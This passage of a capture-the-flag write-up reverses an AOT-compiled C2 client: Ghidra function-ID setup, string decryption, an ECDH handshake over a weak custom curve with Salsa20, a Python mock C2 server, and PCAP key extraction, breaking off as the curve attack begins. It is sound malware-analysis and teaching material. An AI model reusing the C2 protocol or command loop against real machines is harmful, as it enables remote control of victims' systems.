  • Load the PDB of the binary from the menu option File->Load PDB file:

load_pdb.png

  • Create a new Ghidra FID (Function ID) DB (for example with name my_fiddb) from the menu option Tools->Function ID->Create new empty FidDb

  • Add the symbols of the binary into the FIDDB with the option Tools->Function ID->Populate Fid Database, and pick the name of the FIDDB. It’s best if all the AOT binaries with symbols are in one folder, and then we can just pick that as the root folder from which to popular the FIDDB:

populate_fidb.png

Once we’ve done this for all the test programs, we can use the FIDDB to analyze fullspeed.exe. Load my_fiddb to the fullspeed.exe Ghidra window with the menu option Tools->Function ID->Attach existing FidDb, and then have Ghidra find FidDb matches with the menu option Analysis->One Shot->Function ID.

Static Analysis 2

Main Function

Now we can start to reverse the program. Searching for main, we find the function wmain, which at some point calls __managed__Main(_Argc,_Argv). The symbol __managed__Main is an AOT symbol, so this is a good sign that our FidDb worked. At __managed__Main, we see these two lines:

1
2
uVar3 = S_P_CoreLib_Internal_Runtime_CompilerHelpers_StartupCodeHelpers__GetMainMethodArguments();
FUN_140108ac0(uVar3);

The first line, which sets up the arguments for main, probably means that the function below it is the main function, so we’ll rename it to real_main. The real_main function begins with a check that is not related to the logic itself (calls some garbage collection function if a global isn’t 0). It then calls a function that implements some sort of custom decryption on a string from the data section:

1
uVar5 = FUN_140107d80(&DAT_14013eb90);

This functions implements a pretty simple decryption algorithm, consisting of XORing with a moving index (I changed the name to decrypt_string):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void decrypt_string(char *enc_string) {
	... Excerpt
	// The encrypted string is stored in lVar3
	// It's represented as a struct, with the length appearing before the actual characters
	bVar4 = 0;
	uVar6 = 0;
	// Access the length
	iVar2 = *(int *)(lVar3 + 8)
	
	if (0 < iVar2) {
		do {
		  // Current index
	      bVar4 = bVar4 * '\r' + 0x25;
	      // The current character in the encrypted string
	      pbVar1 = (byte *)(lVar3 + 0x10 + uVar6);
	      *pbVar1 = *pbVar1 ^ bVar4;
	      uVar5 = (int)uVar6 + 1;
	      uVar6 = (ulonglong)uVar5;
	    } while ((int)uVar5 < iVar2);
	}
}

With x64dbg, we can see that the decrypted string is “192.168.56.103;31337”: an IP and a port. After that, there’s another call to decrypt_string that returns “;”, and then a conditional move that moves a string in the data section to rdx in case decrypt_string returns 0 (which doesn’t happen). The next line calls a function that seems like a library function, but wasn’t detected by the FidDb, so we won’t analyze it. In any case, this function returns a memory block that contains the string “192.168.56.103” and then the string “31337”:

string_split_ret.png

I assume that this is a function that splits a string based on a character), such as String.Split. We’ll also rename it as such to help us in the future in case it is called again. If String.Split returns NULL, the program throws an exception and exits. In case it doesn’t throw an exception, we access the second string, “31337”, and convert it to a number as follows:

1
2
3
4
5
6
7
8
9
10
11
... Excerpt
lVar5 = *(longlong *)(lVar5 + 0x18);
if (lVar5 == 0) {
    // Throws an exception
}
unaff_RDI = lVar5 + 0xc;
unaff_R14D = *(undefined4 *)(lVar5 + 8);
uStack_38 = CONCAT44(uStack_38._4_4_,unaff_R14D);
local_40 = unaff_RDI;
uVar6 = S_P_CoreLib_System_Globalization_NumberFormatInfo__get_CurrentInfo();
iVar4 = S_P_CoreLib_System_Number__TryParseBinaryIntegerStyle<>(&local_40,7,uVar6,&local_30);

The last function call puts 0x7a69, or 31337, in rcx. If the integer was successfully parsed, we call a wrapper around RhpNewObject (an AOT function that returns a new object), and construct a TcpClient with it by calling one of TcpClient’s constructors:

1
2
3
// This is a wrapper around RhpNewObject
uVar6 = FUN_1400029f0(&DAT_14015ec20);
System_Net_Sockets_System_Net_Sockets_TcpClient___ctor_2(uVar6,uVar7,uVar3 & 0xffffffff);

Inspecting the arguments to the call, we see that rdx points to the “192.168.56.103” string, and that r8 contains 0x7a69, the port number. This creates a TCP socket and connects to port 31337 on 192.168.56.103. The corresponding C# call looks like this:

1
using TcpClient client = new TcpClient("192.168.56.103", 31337);

Since the IP of our virtual machine isn’t the one shown above, we’ll have to forward all traffic to that IP to localhost, like we did in challenge 5. We can do this with the following Powershell command:

1
netsh int ip add addr 1 192.168.56.103/32 st=ac sk=tr

We’ll start a Python socket server at port 31337 so that the program won’t hang on the connection line, preventing us from debugging it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket

# Define the host and port
HOST = '0.0.0.0'
PORT = 31337

# Create a socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    # Bind the socket to the host and port
    s.bind((HOST, PORT))

    # Listen for incoming connections (max 1 connection in the queue)
    s.listen(1)
    print(f"Listening on {HOST}:{PORT}")

    # Accept a connection
    conn, addr = s.accept()

    with conn:
        print(f"Connected by {addr}")

As we discover more about what the binary does with the TCP socket, we’ll add more code to the server. After creating the TcpClient, we have the following call:

1
FUN_140002bc0(lVar2 + 0x20,uVar6);

The first argument, lVar2, points to some address in the .data section, and is used throughout the code as some kind of “global state”:

1
lVar2 = GLOBAL_STATE;

The second argument, uvar6, is the TcpClient we just created. The FUN_140002bc0 function acts as some kind of a setter: it executes the line *param_1 = param_2, where param_1 and param_2 are the first and second arguments, respectively, and then performs some checks. We’ll refer to this function as setter. The next two lines set another field of the global state:

1
2
uVar7 = System_Net_Sockets_System_Net_Sockets_TcpClient__GetStream();
setter(lVar2 + 0x28,uVar7);

The first line gets the underlying NetworkStream from the TcpClient, and the next line sets offset 0x28 of the global state to be this NetworkStream. The next line calls the function we’ll spend the most time on:

1
FUN_140107ea0();

The Handshake

Like the main function, this function begins by calling a garbage collection-related function if a value in the data section is NULL:

1
2
3
if (DAT_140158fb8 != 0) {
    FUN_140001ed4();
}

The next few lines initialize a BouncyCastle BigInteger using one of its constructors. BouncyCastle is a crypto library for Java that was later ported to C#, and is used extensively throughout this challenge.

1
2
3
4
5
6
7
8
9
10
11
// Initialize a new object
CALL       RhpNewFast
MOV        RSI,RAX
// Decrypt a string from the data section
LEA        RCX,[DAT_14013e9f8]
CALL       decrypt_string
// Call the constructor with the new object, the decrypted string, and 0x10
MOV        RDX,RAX
MOV        RCX,RSI
MOV        R8D,0x10
CALL       BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1

By debugging the binary and breaking at the call to the constructor, we see that the decrypted string pointed to by rcx at the time of the call is “13371337” repeating many times:

leet_repeating.png

We don’t have an exact way of knowing which constructor is called (we only know that it’s ___ctor_1), so we’ll have to cross-reference the arguments to the call with the constructors defined in the code for the BigInteger class. The only constructor that receives a string and a number and as an argument is public BigInteger(string str, int radix), so this is the constructor that’s called here. This constructor will construct a BigInteger from the string shown above in base 16, i.e. hex. We’ll hereinafter refer to this BigInt as bit_mask. After constructing bit_mask, the program panics in case either of the members at offset 0x10 and 0x28 of the global state are NULL:

1
2
3
4
5
  global_state = GLOBAL_STATE;
  ....
  if ((*(longlong *)(global_state + 0x10) == 0) || (*(longlong *)(global_state + 0x28) == 0)) {
    ... throw an exception
  }

In our case, the program does not throw an exception. The next line calls a function with the single argument 0x80:`

1
unaff_RDI = FUN_140107e20(0x80);

The function returns the following object:

private_key.png

Everything up until the middle of the fourth line is function pointers and metadata, and they don’t tell us much. After the middle of the fourth line, we have 16, or 0x80 / 8 bytes of data. After a few times of running the binary, I noticed that these bytes change each time, so I concluded that this function generates a random BigInt with the specified number of bits. We’ll refer to it as random_bigint_k_bits from now on. The next operation is interesting: it uses the member at offset 0x10 of the global state to call a function on the BigInt that was just generated:

1
2
3
plVar10 = (longlong *)
    (**(code **)(**(longlong **)(global_state + 0x10) + 0xe0))
    (*(longlong **)(global_state + 0x10),unaff_RDI);

This is the first time we see the global state being used to do such a thing, so now is a good time to figure out what exactly is stored in the global state. Looking at the xrefs for GLOBAL_STATE in the data section, we see the following functions:

global_state_xrefs.png

Out of these xrefs, there’s only one piece of code that initializes the member at offset 0x10 of the global state: the one at 140107cea, the third xref.

How is the global state initialized?

The function that initializes the global state starts with initializing 5 BigIntegers by calling decrypt_string and then using the constructor we’ve seen before.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// First BigInt
uVar2 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013fc68);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar2,extraout_RAX,0x10);
// Second BigInt
uVar3 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013fa90);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar3,extraout_RAX_00,0x10);
// Third BigInt
uVar4 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013eec8);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar4,extraout_RAX_01,0x10);
// Fourth BigInt
uVar5 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013ec18);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar5,extraout_RAX_02,0x10);
// Fifth BigInt
uVar6 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013e860);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar6,extraout_RAX_03,0x10);

By the debugging the function, we can see the value of each BigInt (in base 10):

1
2
3
4
5
6
7
8
9
10
1. 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533  

2. 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927  

3.  24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424

4. 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270

5. 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443

The next line uses those BigInts to initialize an Elliptic Curve over a finite field:

1
2
uVar7 = RhpNewFast();
BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_FpCurve___ctor_1(uVar7,uVar2,uVar3,uVar4,0,0,0);

If you aren’t familiar with Elliptic Curves (ECs), I highly recommend reading my post about making an Elliptic Curve-based Secure Chat in Rust before continuing with the writuep , since solving the challenge requires prior knowledge of ECs. By looking up the constructors of the FpCurve, we can see the meaning of each argument:

  • uVar2 is the a parameter of the curve (recall that ECs are of the form y^2 = x^3 + ax + b (mod p))

  • uVar3 is the b parameter

  • And uVar4 is the modulus of the curve. Note that the modulus is not prime! The next line sets the member at offset 0x8 of the global state to point at the FpCurve that was just created:

1
2
lVar1 = GLOBAL_STATE;
setter(GLOBAL_STATE + 8,uVar7);

After that, a function is called at some offset of the FpCurve on the other two BigInts that were generated:

1
uVar2 = (**(code **)(**(longlong **)(lVar1 + 8) + 0x58))(*(longlong **)(lVar1 + 8),uVar5,uVar6);

Disassembling this function is a bit of a pain, since it’s called from an object at runtime. Instead, we’ll use our knowledge of ECs to guess what it does: what operation is there on an Elliptic Curve that takes in two numbers? Generating a point, of course! The uVar2 variable is, therefore, initialized to a point on the curve with coordinates uVar5 and uVar6. This point is probably the generator point of the curve, since it is generated when initializing the global state. The next line also sets the member at offset 0x10 of the global state to point at the generator point. The last thing we do is generate a SecureRandom PRNG, and set it at offset 0x18 of the global state:

1
2
3
4
5
6
lVar8 = RhpNewFast(&DAT_14015b188);
uVar2 = BouncyCastle_Cryptography_Org_BouncyCastle_Security_SecureRandom__CreatePrng
(&DAT_140149b98,1);
S_P_CoreLib_System_Random___ctor_0(lVar8,0);
setter(lVar8 + 0x10,uVar2);
setter(lVar1 + 0x18,lVar8);

To summarize what we know about the global state so far:

  • Offset 0x8 points to the FpCurve

  • Offset 0x10 points to the base point of the curve

  • Offset 0x18 points to a PRNG

  • Offset 0x20 points to the TcpClient with 192.168.56.103 on port 31337

  • Offset 0x28 points to the NetworkStream of said TcpClient

    Public Key Exchange

    Before we want on the detour of how the global state is initialized, we were examining these lines:

1
2
3
4
unaff_RDI = random_bigint_k_bits(0x80);
plVar10 = (longlong *)
(**(code **)(**(longlong **)(global_state + 0x10) + 0xe0))
(*(longlong **)(global_state + 0x10),unaff_RDI);

The first line generates a random BigInt with 128 bits, and puts it into rdi. After that, we call a method whose code is pointed to by *(global_state + 0x10) + 0xe0. We’ve already established that at offset 0x10, the global state points to the base point of the curve. If so, this method is defined on the base point. As arguments, this method is passed the base point itself, and the random BigInt that was just generated. In other words, it’s an operation that takes in a point on the curve and a number. The most common operation with those inputs is scalar multiplication! If so, this line multiplies a random BigInt by the base point of the curve. Recall that in most EC crypto algorithms, this is exactly how the keypair is generated: we sample a random number k, which is the private key, and multiply it by the generator point G to get the pubkey, P = k * G. The next few lines apply two different methods on the pubkey, XOR the results with the 13371337 mask, convert them to byte arrays, and send them to the server. These methods don’t take in any arguments, so it makes sense that they return the x and y coordinates of the pubkey. The fact that to use EC crypto algorithms we have to know the pubkey coordinates also supports this claim. The code for this is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// plVar 10 contains the public key at this point
unaff_RBP = (longlong *)(**(code **)(*plVar10 + 0x88))();
// ...
unaff_R14 = FUN_140002ad0(&DAT_14018b688,0x30);
// Get the X coordinate
plVar10 = (longlong *)(**(code **)(*unaff_RBP + 0x50))(unaff_RBP);
uVar11 = (**(code **)(*plVar10 + 0x30))(plVar10);
// XOR with the bit mask
uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar11,bit_mask);
// Convert to a byte array
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(uVar11,1,&lStack_40);
// Send to the server
local_50 = unaff_R14 + 0x10;
local_48._0_4_ = 0x30;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0
// Get the Y coordinate
(*(undefined8 *)(global_state + 0x28),&local_50);
plVar10 = (longlong *)(**(code **)(*unaff_RBP + 0x58))(unaff_RBP);
// XOR with the bit mask
uVar11 = (**(code **)(*plVar10 + 0x30))(plVar10);
uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar11,bit_mask);
// Conver to a byte array
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(uVar11,1,&lStack_40);
// Send to the server
local_50 = unaff_R14 + 0x10;
local_48 = CONCAT44(local_48._4_4_,0x30);
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0
(*(undefined8 *)(global_state + 0x28),&local_50);

After sending its own public key, the client reads the public key of the server from the socket. The coordinates sent by the server are XORed with the 13371337 mask, as was done when the client sent its own coordinates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    lStack_40 = unaff_R14 + 0x10;
    local_38 = CONCAT44(local_38._4_4_,0x30);
    System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0
              (*(undefined8 *)(global_state + 0x28),&lStack_40);
    unaff_RBP = (longlong *)RhpNewFast(&DAT_14015b268);
    if (DAT_140158ac0 == 0) goto LAB_14010808b;
  }
  __GetGCStaticBase_BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger();
LAB_14010808b:
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9
            (unaff_RBP,1,unaff_R14,0,0x30,1);
  uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(unaff_RBP,bit_mask);
  lStack_40 = unaff_R14 + 0x10;
  local_38._0_4_ = 0x30;
  System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0
            (*(undefined8 *)(global_state + 0x28),&lStack_40);
  uVar12 = RhpNewFast(&DAT_14015b268);
  BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(uVar12,1,unaff_R14,0,0x30,1);
  bit_mask = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar12,bit_mask);

XOR “encryption” can easily be reversed if we know the key (in this case the 13371337 mask), so now each side knows the other’s public key. If at this point you’re thinking of ECDH (Elliptic Curve Diffie-Hellman), you’re not wrong! The next lines multiply the private key k of the client by the point with the coordinates we just got from the server:

1
2
3
4
plVar10 = (longlong *)
(**(code **)(**(longlong **)(global_state + 8) + 0x50))
(*(longlong **)(global_state + 8),uVar11,bit_mask);
plVar10 = (longlong *)(**(code **)(*plVar10 + 0xe0))(plVar10,unaff_RDI);

More specifically, the first line constructs a point on the curve whose x coordinate is uVar11 and whose y coordinate is bit_mask. These variables store the x and y coordinates of the server’s pubkey, respectively. The second line multiplies the resulting point with unaff_RDI, which stores the client’s private key. The next few lines (shown below) access the x coordinate of the resulting point. This is exactly ECDH!

1
2
3
plVar10 = (longlong *)(**(code **)(*plVar10 + 0x88))(plVar10);
//...
plVar10 = (longlong *)(**(code **)(*plVar10 + 0x50))();

We know that the second method gets the x coordinate since this is the same pattern we’ve seen earlier when the client sent its pubkey coordinates to the server. To derive the shared secret from the resulting x-coordinate, the client converts the x-coordinate to a byte array:

1
2
3
4
bit_mask = (**(code **)(*plVar10 + 0x30))(plVar10);
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;
    BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(bit_mask,1,&lStack_40);

And then calls a small wrapper around this function: System_Security_Cryptography_System_Security_Cryptography_SHA3_512__HashData_0. In other words, it hashes the x-coordinate with SHA512. In memory, the digest looks like this:

x_coord_digest.png

The digest is used to initialize a Salsa20 cipher:

1
2
3
4
5
6
7
bit_mask = RhpNewFast(&DAT_14015c6c0);
if (DAT_140158af0 != 0) {
    FUN_1400010ae();
    }
      BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_Salsa20Engine___ctor_0
(bit_mask,DAT_140158af8);
setter(global_state + 0x30,bit_mask);

A Salsa20 cipher requires a key and a nonce. By debugging the binary, we can see that the key is then first 32 bytes of the digest, and the nonce is the other 8 bytes. The last line sets the member at offset 0x30 of the global state to be the new Salsa20 cipher. Next, the client verifies the identity of the server by reading 8 bytes from the socket, decrypting them with the Salsa20 cipher, and comparing them to a decrypted string:

1
2
3
4
5
6
7
8
9
10
11
// The call to the function we just analyzed
bit_mask = recv_msg();
// Compare with decrypted string
decrypt_string(&DAT_140140100);
iVar9 = String__Equals_0(bit_mask,extraout_RAX_00);
if (iVar9 != 0) {
    decrypt_string(&DAT_140140100);
    FUN_140108540(extraout_RAX_01);
    return;
}
// ... Throw an exception and exit

The code for the first function function is shown below (the function is also used in other places in the code, so I renamed it to recv_msg). Note that only parts of the function are shown.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void recv_msg(void)
{
  longlong lVar1;
  char cVar2;
  longlong lVar3;
  longlong lVar4;
  undefined8 extraout_RAX;
  ulonglong uVar5;
  undefined8 extraout_RAX_00;
  int iVar6;
  longlong local_30;
  undefined8 local_28;
  
  local_30 = 0;
  local_28 = 0;
  // Store a pointer to the global state in lVar1 and a pointer to the stream in lVar3
  if (DAT_140158fb8 == 0) {
    lVar3 = *(longlong *)(GLOBAL_STATE + 0x28);
    lVar1 = GLOBAL_STATE;
  }
  else {
    FUN_140001ed4();
    lVar3 = *(longlong *)(GLOBAL_STATE + 0x28);
    lVar1 = GLOBAL_STATE;
  }
  GLOBAL_STATE = lVar1;
  if ((lVar3 == 0) || (*(longlong *)(lVar1 + 0x30) == 0)) {
    // Exception...
  }
  else {
    // Allocate 0x400 bytes for storing the decrypted message
    lVar3 = FUN_140002ad0(&DAT_14018b688,0x400);
    // Allocate 1 byte for reading the next byte
    lVar4 = FUN_140002ad0(&DAT_14018b688,1);
    // Current index in the decrypted message array
    uVar5 = 0;
    do {
      iVar6 = (int)uVar5;
      local_30 = lVar4 + 0x10;
      local_28 = CONCAT44(local_28._4_4_,1);
      // Read a byte from the stream 
      S_P_CoreLib_System_IO_Stream__ReadAtLeastCore(*(undefined8 *)(lVar1 + 0x28),&local_30,1,1);
      // This function uses the Salsa20 cipher at GLOBAL_STATE+0x30 and decrypts a byte
      cVar2 = FUN_14007cb70(*(undefined8 *)(lVar1 + 0x30),*(undefined *)(lVar4 + 0x10));
      // Stop if the resulting byte is NULL
      if (cVar2 == '\0') {
        if (DAT_140158df0 == 0) goto LAB_140108495;
        goto LAB_14010852d;
      }
      // Write the decrypted byte to the current index in the decrypted message array
      *(char *)(lVar3 + 0x10 + uVar5) = cVar2;
      // Step forward one byte
      uVar5 = (ulonglong)(iVar6 + 1U);
    } while ((int)(iVar6 + 1U) < 0x400);
  }
  // Exception...
LAB_14010852d:
  iVar6 = (int)uVar5;
  FID_conflict:__GetGCStaticBase_S_P_CoreLib_System_Text_Latin1Encoding();
LAB_140108495:
// Encode as an ASCII string and return the result
  S_P_CoreLib_System_Text_ASCIIEncoding__GetString(*(undefined8 *)(DAT_140238838 + 8),lVar3,0,iVar6)
  ;
  return;
}

By stepping with a debugger, we can see that the string the decrypted message is compared against is “verify\x00”. If the strings are equal (i.e. the client has successfully validated the identity of the server), the same thing happens in the other direction: the client encrypts the string “verify\x00”, and sends it to the server, which is supposed to decrypt the ciphertext, and verify that it is equal to “verify\x00”. I renamed the function that sends the encrypted message to send_msg. It is quite similar to the previous function, so there’s little point in showing its code here. Let’s add the server’s side in the handshake to our Python server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from hashlib import sha512
from ecdsa import ellipticcurve, numbertheory
from ecdsa.ellipticcurve import Point
import socket
from Crypto.Cipher import ChaCha20

p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
x = 1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408
y = 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378
n = 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297

curve = ellipticcurve.CurveFp(p, a, b)
generator = Point(curve, x, y, n)
# Generate our keypair
priv_key = 1337
pubkey = priv_key * generator
# "Encrypt" it by XORing with 13371337...
xor_key = b"\x13\x37"*24
x = pubkey.x()
y = pubkey.y()
x_wire_bytes = bytes([a ^ b for a, b in zip(xor_key, x.to_bytes(0x30, "big"))])
y_wire_bytes = bytes([a ^ b for a, b in zip(xor_key, y.to_bytes(0x30, "big"))])

HOST = '0.0.0.0'
PORT = 31337

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))

    s.listen(1)
    print(f"Listening on {HOST}:{PORT}")

    # Accept a connection
    conn, addr = s.accept()

    with conn:
        print(f"Connected by {addr}")

        while True:
            # Read the client's pubkey
            client_x_wire_bytes = conn.recv(1024)
            client_y_wire_bytes = conn.recv(1024)
            client_x = int.from_bytes(bytes([a ^ b for a, b in zip(xor_key, client_x_wire_bytes)]))
            client_y = int.from_bytes(bytes([a ^ b for a, b in zip(xor_key, client_y_wire_bytes)]))
            # Derive the shared secret with ECDH
            client_pubkey = Point(curve, client_x, client_y)
            print(f"Client's pubkey: {client_pubkey}")
            shared = priv_key * client_pubkey
            secret = sha512(int.to_bytes(shared.x(), 0x30, "big"))
            print(f"Secret: {secret.hexdigest()}")
            cipher = ChaCha20.new(key=secret.digest()[:32], nonce=secret.digest()[32:40])

            # Send our pubkey
            conn.sendall(x_wire_bytes)
            conn.sendall(y_wire_bytes + cipher.encrypt(b"verify\x00"))
            # Verify client's identity
            client_sig = conn.recv(1024)
            print(cipher.encrypt(client_sig))

The C2 Commands

After the handshake (if both sides have verified each other’s identity), the client starts a loop where it receives encrypted commands from the server (with recv_msg), executes them, and sends the server the encrypted result with send_msg. The commands by themselves aren’t important to us, so we won’t dwell on this part much. I’ll just note that the logic of the loop looks as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (true) {
	// Receive encrypted message from server
	uVar2 = recv_msg();
	// Split based on the character "|"
	decrypt_string(&DAT_1401401a0);
    puVar7 = extraout_RAX;
    if (extraout_RAX == (undefined *)0x0) {
        puVar7 = &DAT_14013a048;
     }
    lVar3 = String.Split(uVar2,puVar7,0,0x7fffffff,0);
    // ...
    // Is the command "cd"?
    ... execute cd
    // Is the command "ls"?
    ... execute ls
    ...
    // Is the command "exit'?
    break;
}

Decrypting the traffic

Extracting the public keys

At this point, after our analysis of the binary, we have a high-level understanding of what it does:

  1. Connect to 192.168.56.103 on port 31337

  2. Perform an ECDH (Elliptic Curve DIffie-Hellman) handshake with the server on a non-standard curve to establish a shared secret, which is derived by SHA512-hashing the x-coordinate of the resulting shared point

  3. Verify the identity of the server by having it encrypt the string “verify\x00” with Salsa20, where the key and nonce are derived from the shared secret, and send the resulting ciphertext. The client then decrypts the ciphertext with the same key and nonce, and verifies that the plaintext is equal to “verify\x00”

  4. The server verifies the identity of the client in the same way

  5. The server can then send various C2 commands to the client (e.g. “ls”), and the client sends the result. All of the traffic in this loop is encrypted with the Salsa20 cipher Along with the binary we also got a PCAP capture.pcapng, which we presume to be a communication session between the client and the server. We open the capture in Wireshark, and apply the filter tcp.payload to only see packets that have a payload, and not other traffic like TCP ACKs. Our goal is to decrypt the traffic in the PCAP. We’ll start by extracting the public keys of the client and server, which are sent in the first four packets. Recall that the public key coordinates are XORed with the 13371337 mask, so we’ll have to XOR again with said mask to get the real coordinates. The first packet, for example, contains the x-coordinate of the client’s public key:

first_packet_data.png

The payload can be extracted by right-clicking on the payload, and selecting “Copy as hex stream”. We then use the following Python script to decrypt each coordinate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# The pubkeys sent over the network are "encrypted" by XORing them with
# 13371337...
# We need to XOR them again with that number to get the actual pubkeys
WIRE_CLIENT_PUBKEY_X = 0x0a6c559073da49754e9ad9846a72954745e4f2921213eccda4b1422e2fdd646fc7e28389c7c2e51a591e0147e2ebe7ae.to_bytes(0x30, "big")
WIRE_CLIENT_PUBKEY_Y = 0x264022daf8c7676a1b2720917b82999d42cd1878d31bc57b6db17b9705c7ff2404cbbf13cbdb8c096621634045293922.to_bytes(0x30, "big")
WIRE_SERVER_PUBKEY_X = 0xa0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c31.to_bytes(0x30, "big")
WIRE_SERVER_PUBKEY_Y = 0x96a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc.to_bytes(0x30, "big")
# The decryption key
KEY = b"\x13\x37"*24
# Decrypt
client_pubkey_x = bytes([a ^ b for a, b in zip(WIRE_CLIENT_PUBKEY_X, KEY)])
client_pubkey_y = bytes([a ^ b for a, b in zip(WIRE_CLIENT_PUBKEY_Y, KEY)])
server_pubkey_x = bytes([a ^ b for a, b in zip(WIRE_SERVER_PUBKEY_X, KEY)])
server_pubkey_y = bytes([a ^ b for a, b in zip(WIRE_SERVER_PUBKEY_Y, KEY)])
# Convert to numbers
client_pubkey_x = int.from_bytes(client_pubkey_x, "big")
client_pubkey_y = int.from_bytes(client_pubkey_y, "big")
server_pubkey_x = int.from_bytes(server_pubkey_x, "big")
server_pubkey_y = int.from_bytes(server_pubkey_y, "big")
# Print the results
print("--CLIENT PUBKEY--")
print(f"X: {client_pubkey_x}")
print(f"Y: {client_pubkey_y}")
print("--SERVER PUBKEY--")
print(f"X: {server_pubkey_x}")
print(f"Y: {server_pubkey_y}")

Running this script prints the following.

1
2
3
4
5
6
7
--CLIENT PUBKEY--
X: 3902729749136290727021456713077352817203141198354795319199240365158569738643238197536678384836705278431794896368793
Y: 8229109857867260486993831343979405488668387983876094644791511977475828392446562276759399366591204626781463052691989
--SERVER PUBKEY--
X: 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270
Y: 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443

Breaking the curve

We now have the curve’s parameters and the two peers’ public keys. But how can we crack the shared secret used in the PCAP? First of all, we’ll write a Sage script with all the information we have so far:

1
2
3
4
5
6
7
8
p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
E = EllipticCurve(GF(p), [a,b])
G = E([1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408, 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378])

client_pubkey = E([3902729749136290727021456713077352817203141198354795319199240365158569738643238197536678384836705278431794896368793,8229109857867260486993831343979405488668387983876094644791511977475828392446562276759399366591204626781463052691989])
server_pubkey = E([27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270,20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443])

If we get the private key of one of the peers, (e.g. get the a such that a * G = client_pubkey) we can derive the shared secret with the usual ECDH process, since we have the public key of both sides. To do this, we first note that the order of the generator point G is not prime:

1
2
3
4
sage: G.order()
30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
sage: 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297.is_prime()
False

